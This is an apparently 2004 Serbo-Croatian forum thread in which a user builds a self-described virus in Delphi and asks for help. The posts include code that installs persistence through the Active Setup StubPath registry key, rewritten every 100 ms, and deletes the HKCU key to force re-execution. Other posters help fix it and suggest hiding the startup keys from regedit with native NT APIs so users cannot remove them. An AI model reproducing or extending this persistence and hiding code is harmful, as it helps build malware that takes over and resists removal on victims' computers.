Tema
Boje
Pismo
Registracija

Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

Kako se dodaje

ActiveX Startup Metoda - u cemu je problem ?

Odgovori Nova tema
Štampanje RSS teme Kopiraj vezu do teme Podeli na Facebook-u Podeli na X-u (Twitter) Idi na poslednju poruku
  • 26 odgovora
  • 5.436 pregleda

Najnovija ↓

ActiveX Startup Metoda - u cemu je problem ? 02.10.2004. u 17:02 · pre 268 meseci #1
Ovako, prvo virus vidi da li postoji odredjeni key u HKCU\Microsoft\Active Setup\Installed Components\ime_keya
Ako postoji, on ga izbrise
Zatim, ulazi se u petlju koja non-stop vrti proceduru koja kreira key HKLM\Microsoft\Active Setup\Installed Components\ime_keya i u njemu vrednost StubPath koja sadrzi putanju do virusa na hard disku.
Kad restartujem racunar (ili se log-offujem), explorer.exe se pokrene i virus se uspesno pokrene takodje, ali niti se vidi ikonice, taskbar itd... sve dok ne ubijem virus iz task manager-a

Gde gresim >
Re: ActiveX Startup Metoda - u cemu je problem ? 03.10.2004. u 11:33 · pre 268 meseci #2
Ne znam jesi li to namjerno napravio ili si pogriješio.
Nije ovako:
HKCU\Microsoft\Active Setup\Installed Components\ime_keya
Nego:
HKCU\Software\Microsoft\Active Setup\Installed Components\ime_keya
Re: ActiveX Startup Metoda - u cemu je problem ? 03.10.2004. u 14:56 · pre 268 meseci #5
Evo koda koji dodaje key u HKLM\Microsoft\...\Installed Components\CLSID :
Code:

procedure AddToStartup;
var
  hndKey : HKEY;
begin
  If RegCreateKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{3bf42070-b3b1-11d1-b5c5-0000f8051515}', 0, nil,
                    REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, hndKey, nil) <> ERROR_SUCCESS Then
    Exit;
  RegSetValueEx(hndKey, 'StubPath', 0, REG_SZ,
                '"C:\WINDOWS\System32\virus.exe"', Length('"C:\WINDOWS\System32\virus.exe"') + 1);
  RegCloseKey(hndKey);
end;

Malo sam uprostio gornju proceduru, da bi bila jasnija.
Ova procedura se vrti u repeat..until petlji (izvrsava se konstanto, na svakih 100 mS)

Zatim, na pocetku virusa, stoji naredba :
Code:

RegDeleteKey(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{3bf42070-b3b1-11d1-b5c5-0000f8051515}');

Ona brise taj isti key, samo iz HKCU.

Jos jednom, ovo sve radi, ali kad restartujem comp, nakon pojavljivanja kursora, explorer.exe se startuje, virus se startuje kao njegovo 'dete' i onda se nista ne dogadja... Sve dok ne ubijem proces koji virus pravi...
Re: ActiveX Startup Metoda - u cemu je problem ? 03.10.2004. u 15:16 · pre 268 meseci #7
Ja sad bas ne mogu da se setim sta su tacno te "Installed Components" (podseti me), pa ne bih mogao da adekvatno pretpostavim sta je problem.

Kada sam pomenuo kod mislio sam na kod virus.exe-a.
Potpis
Nebojsa Milanovic:
-Trumpa smatram vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu
-Rusija ne laže, ne vodi osvajačke ratove
-Trump je svetla tačka u USA blatu
-Elon Musk, možda najpametniji i najtrezveniji Amerikanac
Re: ActiveX Startup Metoda - u cemu je problem ? 03.10.2004. u 15:47 · pre 268 meseci #9
Paa... kod koji kad kompajliras dobijes virus.exe.
OK, sad pretpostavljam da onaj kod koji si dao je deo tog koda na koji sam ja mislio.
U svakom slucaju, pretpostavljam da virus.exe radi nesto sto nisi predvideo (ili radi na los nacin). Kao sto rekoh, ne mogu bas dobro da pretpostavim jer se ne secam sta predstavljaju Installed Components.
Potpis
Nebojsa Milanovic:
-Trumpa smatram vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu
-Rusija ne laže, ne vodi osvajačke ratove
-Trump je svetla tačka u USA blatu
-Elon Musk, možda najpametniji i najtrezveniji Amerikanac
Re: ActiveX Startup Metoda - u cemu je problem ? 06.10.2004. u 03:55 · pre 268 meseci #11
Da, tocno tako - MORAS napraviti re-execute inace se nece dalje normalno dizati :) i meni je ovo bilo glupo ali hej - slucajno generiran kljuc je pravo cudo naci medju hrpom onih MS shitova :) Pogotovo ako se MIJENJA pri svakom startup-u :)

Ali Marko, imam za tebe jedan novi bombonchich :)
http://www.sysinternals.com/ntw2k/info/tips.shtml#registryhidden

Mislim da dosad nijedan crv nije koristio nativne API-je za sakrivanje od regedit-a :) Koristeci ovo, mogao bi koristiti i uobicajene srartup kljuceve, samo sto ih onda korisnici ne bi mogli maknuti rucno sa regedit, vec iskljucivo sa specijaliziranim programima :)
Re: ActiveX Startup Metoda - u cemu je problem ? 06.10.2004. u 04:22 · pre 268 meseci #13
Citat:
Ali Marko, imam za tebe jedan novi bombonchich :)
http://www.sysinternals.com/ntw2k/info/tips.shtml#registryhidden

Mislim da dosad nijedan crv nije koristio nativne API-je za sakrivanje od regedit-a :) Koristeci ovo, mogao bi koristiti i uobicajene srartup kljuceve, samo sto ih onda korisnici ne bi mogli maknuti rucno sa regedit, vec iskljucivo sa specijaliziranim programima :)


ql !
Ali dzabe kad ja ne znam C++ bas dobro (primer je pisan u C++-u)... :(
Ako bi neko mogao da mi prevede kod ili bar da pojasni malo detaljnije sta treba da uradim (recimo, 1. Nadji entry-point funkcija sa GetProcAddress itd...) bio bih mu zahvalan...
Re: ActiveX Startup Metoda - u cemu je problem ? 09.10.2004. u 02:07 · pre 268 meseci #17
Hvala na iscrpnom objasnjenju Sundance, ali imam jedan problem - kako da pozovem NTCreateKey funkciju ? Kad pokusam da pozovem :
Code:
NTCreateKey(@SoftwareKeyHandle, KEY_ALL_ACCESS, @ObjectAttributes,
              0, nil, REG_OPTION_NON_VOLATILE, @Disposition);
Delphi izbaci gresku Missing operator or semicolon... Problem je sto kompajler ne zna sta je NTCreateKey... Ja sam NTCreateKey deklarisao kao promenljivu tipa pointer i stavio NTCreateKey := GetProcAddress(blabla)....
Re: ActiveX Startup Metoda - u cemu je problem ? 09.10.2004. u 02:49 · pre 268 meseci #18
Trebas je deklarirati kao pokazivac (pointer) na funkciju (tj. na sam API). Ne znam koja je tocno sintaksa za to pod Delphi-em (vidi u helpu), ali mislim da ces trebati navesti i tipove parametara. Kompajler prijavljue gresku jer ne zna sto da pozove, trebas mu dat do znanja da se radi o funkciji kojoj ces sam naci adresu.
Odgovori
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme